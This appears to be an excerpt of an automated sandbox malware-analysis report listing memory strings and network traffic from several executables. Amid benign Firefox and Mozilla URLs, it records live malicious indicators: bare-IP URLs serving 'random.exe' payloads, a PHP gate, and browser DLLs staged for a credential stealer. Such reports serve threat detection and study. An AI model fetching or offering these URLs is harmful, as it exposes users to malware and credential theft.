Source: firefox.exe, 0000002F.00000002.3636031088.00000214F93E3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3666246301.00000214FD864000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F93E3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3666246301.00000214FD864000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F9303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3666246301.00000214FD864000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F9303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3666246301.00000214FD864000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F9303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3666246301.00000214FD864000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F9303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F9303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F9303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F9303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3666246301.00000214FD864000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F9303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3666246301.00000214FD864000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F9303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3666246301.00000214FD864000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F9303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3666246301.00000214FD864000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F9303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3666246301.00000214FD864000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F9303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3666246301.00000214FD864000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F9303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3666246301.00000214FD864000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000002F.00000002.3666246301.00000214FD864000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000002F.00000002.3666246301.00000214FD864000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000002F.00000002.3666246301.00000214FD864000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000002F.00000002.3666246301.00000214FD864000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.facebook.com (Facebook)
Source: firefox.exe, 0000002F.00000002.3666246301.00000214FD864000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.twitter.com (Twitter)
Source: firefox.exe, 0000002F.00000002.3666246301.00000214FD864000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.youtube.com (Youtube)
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F9303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F9303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F9303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F9303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/Firefox is thinking about how to make this page better for you. Which best describes what you'd like to see in the Recommended by Pocket section: equals www.facebook.com (Facebook)
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F9303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/Firefox is thinking about how to make this page better for you. Which best describes what you'd like to see in the Recommended by Pocket section: equals www.twitter.com (Twitter)
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F9303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/Firefox is thinking about how to make this page better for you. Which best describes what you'd like to see in the Recommended by Pocket section: equals www.youtube.com (Youtube)
Source: firefox.exe, 0000002F.00000002.3649920309.00000214FAEF7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3636031088.00000214F9303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3666246301.00000214FD864000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000002F.00000002.3649920309.00000214FAEF7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3636031088.00000214F9303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3666246301.00000214FD864000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000002F.00000002.3649920309.00000214FAEF7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3636031088.00000214F9303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3666246301.00000214FD864000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F9303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3426610436.00000214F8858000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3683262386.00000214FEE00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: moz-extension://bfdd6cf3-6cd6-4fa2-bc72-2c3d2e7d20f8/injections/js/bug1842437-www.youtube.com-performance-now-precision.js equals www.youtube.com (Youtube)
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F9303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: moz-extension://bfdd6cf3-6cd6-4fa2-bc72-2c3d2e7d20f8/lib/about_compat_broker.jsmoz-extension://bfdd6cf3-6cd6-4fa2-bc72-2c3d2e7d20f8/lib/messaging_helper.jshttps://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F9303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: moz-extension://bfdd6cf3-6cd6-4fa2-bc72-2c3d2e7d20f8/lib/about_compat_broker.jsmoz-extension://bfdd6cf3-6cd6-4fa2-bc72-2c3d2e7d20f8/lib/messaging_helper.jshttps://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F9303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: moz-extension://bfdd6cf3-6cd6-4fa2-bc72-2c3d2e7d20f8/lib/about_compat_broker.jsmoz-extension://bfdd6cf3-6cd6-4fa2-bc72-2c3d2e7d20f8/lib/messaging_helper.jshttps://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000002F.00000002.3672212756.00000214FE3B2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3676557143.00000214FE6A1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3669982732.00000214FDC5C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 0000002F.00000002.3680500692.00000214FE959000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3669982732.00000214FDC5C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.youtube.com equals www.youtube.com (Youtube)
Source: firefox.exe, 0000002F.00000002.3676557143.00000214FE613000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3672212756.00000214FE3EB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3672212756.00000214FE384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: x://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: c.msn.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com
Source: global traffic	DNS traffic detected: DNS query: home.fvtekk5pn.top
Source: global traffic	DNS traffic detected: DNS query: property-imper.sbs
Source: global traffic	DNS traffic detected: DNS query: fvtekk5pn.top
Source: global traffic	DNS traffic detected: DNS query: detectportal.firefox.com
Source: global traffic	DNS traffic detected: DNS query: youtube.com
Source: global traffic	DNS traffic detected: DNS query: contile.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: spocs.getpocket.com
Source: global traffic	DNS traffic detected: DNS query: content-signature-2.cdn.mozilla.net
Source: global traffic	DNS traffic detected: DNS query: prod.classify-client.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: shavar.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: push.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: firefox.settings.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: prod.balrog.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: prod.content-signature-chains.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: prod.ads.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: prod.detectportal.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: telemetry-incoming.r53-2.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: prod.remote-settings.prod.webservices.mozgcp.net

Source: unknown

HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 3592Host: login.live.com

Source: f979933b17.exe, 0000001B.00000003.2869223033.0000000007A92000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://.css
Source: f979933b17.exe, 0000001B.00000003.2869223033.0000000007A92000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://.jpg
Source: firefox.exe, 0000002F.00000002.3660747588.00000214FD327000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3327733092.00000214ED05D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:
Source: skotes.exe, 00000019.00000002.3308321428.0000000000F78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe
Source: skotes.exe, 00000019.00000002.3308321428.0000000000F78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exeX
Source: file.exe, 00000000.00000002.2540983254.0000000001272000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2575203848.0000000023691000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: file.exe, 00000000.00000002.2575203848.0000000023691000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exeUG
Source: skotes.exe, 00000019.00000002.3308321428.0000000000F78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/random.exe
Source: skotes.exe, 00000019.00000002.3308321428.0000000000F78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/random.exe08303001
Source: skotes.exe, 00000019.00000002.3308321428.0000000000F78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/random.exe8b
Source: skotes.exe, 00000019.00000002.3308321428.0000000000F78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/random.exeData
Source: skotes.exe, 00000019.00000002.3308321428.0000000000F78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/random.exeData~
Source: skotes.exe, 00000019.00000002.3308321428.0000000000F78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/random.exeY
Source: skotes.exe, 00000019.00000002.3308321428.0000000000F78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/random.exeb15
Source: skotes.exe, 00000019.00000002.3308321428.0000000000F78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/random.exeb2
Source: skotes.exe, 00000019.00000002.3308321428.0000000000F78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/random.exec61e
Source: skotes.exe, 00000019.00000002.3308321428.0000000000F78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/random.exen
Source: skotes.exe, 00000019.00000002.3308321428.0000000000F78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exeJ
Source: skotes.exe, 00000019.00000002.3308321428.0000000000F78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exei
Source: skotes.exe, 00000019.00000002.3308321428.0000000000F78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exe
Source: skotes.exe, 00000019.00000002.3308321428.0000000000F78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exejL
Source: file.exe, 00000000.00000002.2540983254.00000000011DE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2537867494.00000000003F5000.00000040.00000001.01000000.00000003.sdmp, 97aac85e85.exe, 0000001F.00000002.3192874994.0000000000EFE000.00000004.00000020.00020000.00000000.sdmp, 97aac85e85.exe, 00000030.00000002.3308546587.0000000000DFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.2540983254.0000000001239000.00000004.00000020.00020000.00000000.sdmp, 97aac85e85.exe, 0000001F.00000002.3192874994.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, 97aac85e85.exe, 0000001F.00000002.3192874994.0000000000EFE000.00000004.00000020.00020000.00000000.sdmp, 97aac85e85.exe, 00000030.00000002.3308546587.0000000000DFB000.00000004.00000020.00020000.00000000.sdmp, 97aac85e85.exe, 00000030.00000002.3308546587.0000000000E52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: 97aac85e85.exe, 0000001F.00000002.3192874994.0000000000F58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/.
Source: file.exe, 00000000.00000002.2540983254.0000000001239000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: file.exe, 00000000.00000002.2540983254.0000000001239000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll0
Source: file.exe, 00000000.00000002.2540983254.0000000001239000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: file.exe, 00000000.00000002.2540983254.0000000001239000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dlld
Source: file.exe, 00000000.00000002.2540983254.0000000001239000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dllO
Source: file.exe, 00000000.00000002.2540983254.0000000001239000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll~
Source: file.exe, 00000000.00000002.2540983254.0000000001239000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll
Source: file.exe, 00000000.00000002.2540983254.0000000001239000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: file.exe, 00000000.00000002.2540983254.0000000001239000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: file.exe, 00000000.00000002.2540983254.0000000001252000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: file.exe, 00000000.00000002.2540983254.0000000001252000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dlld
Source: file.exe, 00000000.00000002.2575203848.000000002371D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2540983254.0000000001272000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2537867494.00000000003F5000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2540983254.0000000001226000.00000004.00000020.00020000.00000000.sdmp, 97aac85e85.exe, 0000001F.00000002.3192874994.0000000000F43000.00000004.00000020.00020000.00000000.sdmp, 97aac85e85.exe, 0000001F.00000002.3192874994.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, 97aac85e85.exe, 0000001F.00000002.3192874994.0000000000EFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: file.exe, 00000000.00000002.2575203848.000000002371D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php)&
Source: 97aac85e85.exe, 0000001F.00000002.3192874994.0000000000F58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/
Source: file.exe, 00000000.00000002.2575203848.000000002371D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php=&IP
Source: file.exe, 00000000.00000002.2537867494.00000000003F5000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpion:
Source: file.exe, 00000000.00000002.2575203848.000000002371D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phppa
Source: 97aac85e85.exe, 0000001F.00000002.3192874994.0000000000F58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/f
Source: 97aac85e85.exe, 0000001F.00000002.3192874994.0000000000EFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206WIWP8&
Source: file.exe, 00000000.00000002.2537867494.00000000003F5000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206lfons
Source: skotes.exe, 00000019.00000002.3308321428.0000000000F78000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000019.00000002.3308321428.0000000000F5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/
Source: skotes.exe, 00000019.00000002.3308321428.0000000000F78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce
Source: skotes.exe, 00000019.00000002.3308321428.0000000000FD1000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000019.00000002.3308321428.0000000000F49000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000019.00000002.3308321428.0000000000F78000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000019.00000002.3308321428.0000000000F5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000019.00000002.3308321428.0000000000F78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/lll.exe
Source: skotes.exe, 00000019.00000002.3308321428.0000000000F5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe
Source: lll.exe, 0000001C.00000003.3069618831.000000000584F000.00000004.00000800.00020000.00000000.sdmp, 954f709e67.exe, 0000001D.00000003.3154527018.0000000005AFC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3672212756.00000214FE35D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: lll.exe, 0000001C.00000003.3069618831.000000000584F000.00000004.00000800.00020000.00000000.sdmp, 954f709e67.exe, 0000001D.00000003.3154527018.0000000005AFC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3672212756.00000214FE35D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: firefox.exe, 0000002F.00000002.3652843936.00000214FCB32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%s
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F937E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%s_injectDefaultProtocolHandlersIfNeeded
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F937E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%s_injectDefaultProtocolHandlersIfNeededhttps://mail.y
Source: firefox.exe, 0000002F.00000002.3654722934.00000214FCCC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%ss
Source: lll.exe, 0000001C.00000003.3123640045.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp, lll.exe, 0000001C.00000002.3172686307.0000000000F75000.00000004.00000020.00020000.00000000.sdmp, lll.exe, 0000001C.00000003.3094295413.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp, lll.exe, 0000001C.00000003.3070076867.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp, lll.exe, 0000001C.00000003.3043159991.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp, lll.exe, 0000001C.00000003.3069247948.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: lll.exe, 0000001C.00000003.3069618831.000000000584F000.00000004.00000800.00020000.00000000.sdmp, 954f709e67.exe, 0000001D.00000003.3154527018.0000000005AFC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3672212756.00000214FE35D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
